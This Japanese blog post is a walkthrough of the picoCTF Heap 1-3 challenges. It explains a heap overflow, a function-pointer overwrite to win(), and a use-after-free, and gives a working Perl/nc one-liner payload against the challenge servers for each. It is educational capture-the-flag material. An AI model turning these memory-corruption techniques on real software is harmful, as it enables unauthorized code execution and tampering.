見出し画像

Writeup picoCTF: Heap 1 ~3

本記事は「picoCTF」 の Heap1 ~3 の writeup です。
このところ、pwn や reverse といった「バイナリ関連の問題」を全然やってなかったので、リハビリ(?)のため簡単な問題に取り組んでみることにしました。

「picoCTF」は学生向けの常設CTF。簡単な問題も多く、基本的なものから少しずつ難易度が上がっていくように工夫されているので「CTFの入門」や「苦手な分野」の勉強にお勧めです。

「ヒープ(Heap)」とはプログラムが実行時に動的にメモリを確保・解放するための領域です。C言語の malloc() 関数でメモリを確保した場合は、この領域から割り当てされます。


1.Heap 1

ヒープをオーバフローさせて何かをする問題のようです。
どの問題でも下図のようにソースと実行ファイル(binary)がダウンロードできるようになっています。親切だなぁ。。

画面の "Launch Instance" をクリックすると問題サーバーが起動して、接続先のサーバー名とポート番号が表示されます

とりあえず、ソースを読みます。
safe_var の値が "pico" の場合にフラグが表示されるようです。

void check_win() {
    if (!strcmp(safe_var, "pico")) {
        printf("\nYOU WIN\n");
  ・・・以下略・・・

 safe_var は init() の中で定義されていて初期値は "bico" になっています。

void init() {
    printf("\nWelcome to heap1!\n");
・・・中略・・・
x = malloc(sizeof(object));
strncpy(x->flag, "bico", 5);

接続してみると下図のような画面が表示されました。
どうやら、「2. Write to buffer」を使ってヒープに長い文字列を入力してオーバーフローを引き起こし、隣の領域の"bico" を "pico" に変更してしまえばフラグをゲットできるようです。

あとは実行あるのみです。メニューから「2. Write to buffer」を選択し、適当な長さの文字列を入力して、「1. Print Heap」を選んで結果を確認するを
なんどか繰り返せば解けます。

64bit なのでヒープ領域は 8の倍数で確保されているはずです。
なので、AAAAAAAAなどと8文字ずつ増やして様子を見てみます。

一連の操作を手で一つづずやるのは面倒なので、以下のようなワンライナーを書いて試すことにします。 "A"x 16は "A"を16個繰り返す、という意味です。

perl -e 'print "2\n" . "A"x16 . "\n1\n5\n"' | nc tethys.picoctf.net 50875

幾つか試してみて、下記のワンライナーでフラグがゲットできました。

 perl -e 'print "2\n" . "A"x32 ."pico" . "\n1\n4\n"' | nc tethys.picoctf.net 50875

実行結果

2.Heap 2

こんどはポインタを操作する問題のようです。

ソースを眺めてみます。

まず最初に フラグを表示するための win()関数が定義されています。

void win() {
// Print flag
char buf[FLAGSIZE_MAX];
FILE *fd = fopen("flag.txt", "r");
fgets(buf, FLAGSIZE_MAX, fd);
printf("%s\n", buf);

check_win() 関数が面白い記述になっています。
 ポインタ「x 」が指すアドレスの関数を実行する、という意味のようです。

void check_win() { ((void ()())(int*)x)(); }

この 「x」は ソースの先頭でグローバル変数 「char *x 」として定義されています。「x」の値はどこで初期化されるかというと、init()関数で "bico"とい文字列を格納する部分です。

input_data = malloc(5);
strncpy(input_data, "pico", 5);
x = malloc(5);
strncpy(x, "bico", 5);

ここまで判った段階で、"Launch Instance" をクリックして、問題サーバーに接続してみることにします。

結局、フラグを得るには以下のことをすれば良いことが判ります。

1.win()関数のアドレスを調べる
2.問題サーバーに接続し「2. Write to buffer」を選択し、長い文字列を
  入力してオーバーフローさせ、"bico" の文字列を win()関数のアドレ
  スに書き換える
3.「4. Print Flag」を選択し win()関数にジャンプさせてフラグを表示

win()関数のアドレスは実行ファイルを解析すれば判ります。
"Download binary here" をクリックしてファイルをダウンロードします。

実行ファイルの解析には objdump コマンドを使用します。

win()関数のアドレスは 0x4011A0 であることが判りました。
メモリに書き込む際にはリトルエンディアンにする必要があるので、"bico"の部分は "A01140" で書き換えることになります。

Heap1 と同様に Perl ワンライナーを作成。
以下のワンライナーでフラグがゲットできました。

 perl -e 'print "2\n" . "A"x32 . "\xA0\x11\x40" . "\n4\n"' | nc mimas.picoctf.net 58491

実行結果。

3.Heap 3

 問題文は以下の通り「メモリの不適切な扱い」を攻略する問題のようです。

とりあえず、問題サーバーを起動して接続してみます。

ソースをダウンロードして眺めてみます。
「2. Allocate object」でヒープに値を入力するのはこれまで同様のようですが、今回は malloc()で動的にメモリが確保されるようです。

void alloc_object() {
printf("Size of object allocation: ");
fflush(stdout);
int size = 0;
scanf("%d", &size);
char* alloc = malloc(size);
printf("Data for flag: ");
fflush(stdout);
scanf("%s", alloc);
}

check_win()関数を見てみます。
どうやら、これまで同様 "bico" を "pico" と書き換えることができればフラグをゲットできるようです。

void check_win() {
if(!strcmp(x->flag, "pico")) {
printf("YOU WIN!!11!!\n");

ところで、メニューには「5. Free x」という見慣れないものがあります。
この部分のソースを見てみます。malloc()で確保したメモリを解放する処理が書いてあります。

void free_memory() {
free(x);
}

この "x" は何かというと、グローバル変数で構造体 x へのポインタ、ということになっていました。

// Create struct
typedef struct {
char a[10];
char b[10];
char c[10];
char flag[5];
} object;

int num_allocs;
object *x;

問題文にあった「メモリの不適切な扱い」は、メモリを解放した際、ポインタ「x 」の値がそのままになっており、それを別の関数から再び参照している、ということにあるようです。"Use After Free" と呼ばれる脆弱性です。

今まで判った内容から、以下の方法で攻略することができそうです。

1)  問題サーバに接続して「5. Free x 」を選び、フラグが格納されている
  メモリ領域を解放する。
2) 続けて「2. Allocate Object」でメモリを構造体と同じ大きさ(35バイト) 
  確保。上記1) で解放したメモリが割り当てられるので、flag の値が "pico"
  になるようにデータを上書きする ( "A" x 30 + "pico" + "\00" )
3)「4. Check for win」を選択しフラグを表示させる。

この問題を解くためのPerlワンライナーは以下のようになります。

perl -e 'print "5\n2\n35\n" . "A"x30 . "pico\x00" . "\n4\n"' | nc  tethys.picoctf.net 65048

実行結果は以下の通り。フラグをゲットできました。

今日はこれでおしまい。
めでたし、めでたし。

いいなと思ったら応援しよう!